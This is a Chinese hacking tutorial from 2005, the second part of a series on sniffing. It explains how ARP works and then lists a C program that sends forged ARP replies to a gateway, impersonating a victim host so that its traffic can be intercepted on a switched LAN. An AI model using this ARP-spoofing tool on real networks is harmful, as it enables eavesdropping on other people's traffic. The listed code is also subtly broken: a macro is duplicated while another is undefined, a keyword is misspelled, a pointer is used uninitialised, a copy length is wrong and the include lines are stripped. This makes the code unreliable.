hacker成长的代码之路:嗅探(2) 要求的专业知识: 一: 精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传 输层,应用层。精通每一层的协议,数据报格式。精通网络拓扑结构, 第一层,第二层,第三层的网络互联,数据的转发和路由等。 二: 精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉 UNIX/LINUX系统操作,熟悉著名服务的基本配置,特性及使用的端口 号。熟悉经典网络命令的使用,如:netstat,ping,traceroute, netcat,arp等。 三: 精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。 掌握数据库与WEB语言的结合使用。 我写到此处,假设你是完全理解局域网的。不过还是引用一段LionD8的文字吧:现在我们就用实例来模拟一下局域网传输的全过程。现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递*的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎 么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自 己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先 察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。 还记得前面说过的交换式局域网吗,为了可以在这样的局域网里进行sniffer,我们不 得不进行ARP欺骗。 现在假设有这样一个局域网,不管是交换机或是路由做交换设备都可以。我们自己的机 器的IP是192.168.1.7,交换设备的内部IP是192.168.1.1,也就是网关的地址。还有一台 IP是192.168.1.100的机器,就是victim啦,我们想sniffer,就要让victim机器的所有 数据报经过我们的机器192.168.1.7来转发,那么我们就可以用前面写过的sniffer程序截 获信息了。 我们给交换设备发一个ARP应答,只要把ARP数据报的发送端IP字段填成victim的IP 即可(这个字段原本应该是本机的IP:192.168.1.7)。 本程序只能在Linux上面运行,使用了SOCK_PACKET,不过现在应该用: #include #include #include packet_socket = socket(PF_PACKET, SOCK_RAW, protocol); 来代替比较好。 24-43是完整的ARP数据报结构定义,这是我们自己定义的。不过根据RFC826的定义, 必须要如此定义。 43行加了18个字节的0,这是为了把数据报长度填充到以太网数据要求的最小长度:46字节。 如果你看不懂这个程序,那你应该先想办法达到我上面说明的专业要求的第一项。 1 /* writed by kf701 2 * 2005-4-12 3 * hefei 4 * kf_701@21cn.com 5 */ 6 #include 7 #include 8 #include 9 #include 10 /* #include
*/ 11 12 #include 13 #include 14 #include 15 #include 16 17 /* ETH_P_ARP=0x0806,defined in linux/if_ether.h */ 18 #define SWITCH_IP "192.168.1.1" 19 #define VICTIM_IP "192.168.1.100" 20 #define LOCAL_HW "00:30:1B:36:69:ED" 21 #define SWITCH_IP "00:0A:EB:DB:FF:24" 22 #define DEVICE "eth0" 23 24 struct ether_header{ 25 unsigned char ether_dhost[6]; /* destination eth addr */ 26 unsigned char ether_shost[6]; /* source ether addr */ 27 unsigned short ether_type; /* packet type ID field */ 28 }; 29 struct arp_header{ 30 unsigned short int ar_hrd; /* Format of hardware address. */ 31 unsigned short int ar_pro; /* Format of protocol address. */ 32 unsigned char ar_hln; /* Length of hardware address. */ 33 unsgned char ar_pln; /* Length of protocol address. */ 34 unsigned short int ar_op; /* ARP opcode (command). */ 35 unsigned char __ar_sha[6]; /* Sender hardware address. */ 36 unsigned char __ar_sip[4]; /* Sender IP address. */ 37 unsigned char __ar_tha[6]; /* Target hardware address. */ 38 unsigned char __ar_tip[4]; /* Target IP address. */ 39 }; 40 struct arp_packet{ 41 struct ether_header ethhdr; 42 struct arp_header arphdr; 43 unsigned char padding[18]; /* filled with 0 */ 44 }; 45 /* arp reply: 46 * op = 2 47 * ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr 48 * ethhdr.ether_shost = arphdr.__ar_sha = local hard addr 49 * arphdr.__ar_tip = switch ip 50 * arphdr.__ar_sip = victim ip 51 */ 52 #define FRAME_TYPE 0x0806 /* arp=0x0806,rarp=0x8035 */ 53 #define HARD_TYPE 1 /* ethernet is 1 */ 54 #define PROTO_TYPE 0x0800 /* IP is 0x0800 */ 55 #define OP_CODE 2 /* arp=1/2,rarp=3/4 */ 56 57 void set_ip_addr(char *,char *); 58 void set_hw_addr(char *,char *); 59 60 int main(int argc,char **argv) 61 { 62 int sockfd; 63 struct arp_packet arp; 64 struct sockaddr sa; 65 66 sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806)); 67 if(sockfd < 0) 68 perror("socket error"),exit(1); 69 70 /* init arp packet */ 71 arp.ethhdr.ether_type = htons(FRAME_TYPE); 72 arp.arphdr.ar_hrd = htons(HARD_TYPE); 73 arp.arphdr.ar_pro = htons(PROTO_TYPE); 74 arp.arphdr.ar_op = OP_CODE; 75 arp.arphdr.ar_hln = 6; 76 arp.arphdr.ar_pln = 4; 77 set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW); 78 set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW); 79 set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW); 80 set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW); 81 set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP); 82 set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP); 83 bzero(arp.padding,18); 84 85 /* send arp reply packet */ 86 strcpy(sa.sa_data,DEVICE); 87 if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0) 88 perror("sendto error"),exit(1); 89 /* main return */ 90 exit(0); 91 } 92 93 void set_hw_addr (char *buf, char *str) 94 { 95 int i; 96 char c, val; 97 for(i = 0; i < 6; i++){ 98 if (!(c = tolower(*str++))) 99 &nsp; perror("Invalid hardware address"),exit(1); 100 if (isdigit(c)) 101 val = c - '0'; 102 else if (c >= 'a' && c <= 'f') 103 val = c-'a'+10; 104 else 105 perror("Invalid hardware address"),exit(1); 106 *buf = val << 4; 107 if (!(c = tolower(*str++))) 108 perror("Invalid hardware address"),exit(1); 109 if (isdigit(c)) 110 val = c - '0'; 111 else if (c >= 'a' && c <= 'f') 112 val = c-'a'+10; 113 else 114 perror("Invalid hardware address"),exit(1); 115 *buf++ |= val; 116 if (*str == ':') 117 str++; 118 } 119 } 120 121 void set_ip_addr(char *buf,char *str) 122 { 123 struct in_addr *addr; 124 addr->s_addr = inet_addr(str); 125 memcpy(buf,addr,6); 126 return; 127 } 主函数很短,主要的代码是前面的结构定义。如果你先前就知道ARP结构,那 程序就没有任何要解释的地方了。 作者:kf_701 写作时间:2005/4 Email:kf_701@21cn.com 转载请保留原作者信息,谢谢。
---------------------------------------------- 轻轻的我走了,正如我轻轻的来; 我轻轻的招手,作别西天的云彩; 悄悄的我走了,正如我悄悄的来; 我挥一挥衣袖,不带走一片云彩。
|
|